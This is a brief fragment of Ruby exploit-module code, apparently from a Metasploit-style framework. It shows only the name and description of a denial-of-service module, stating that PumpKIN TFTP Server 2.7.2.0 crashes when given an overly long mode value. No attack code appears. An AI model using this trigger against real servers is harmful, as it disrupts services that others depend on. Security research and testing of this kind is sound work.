def initialize(info = {})
super(update_info(info,
'Name'           => 'PumpKIN TFTP Server DoS',
'Description'    => %q{
PumpKIN TFTP Server 2.7.2.0 eventually reaches a DoS condition when
provided with an overly long mode value.  It'll take a minute.
This condition is reached quicker when hammered repeatedly.
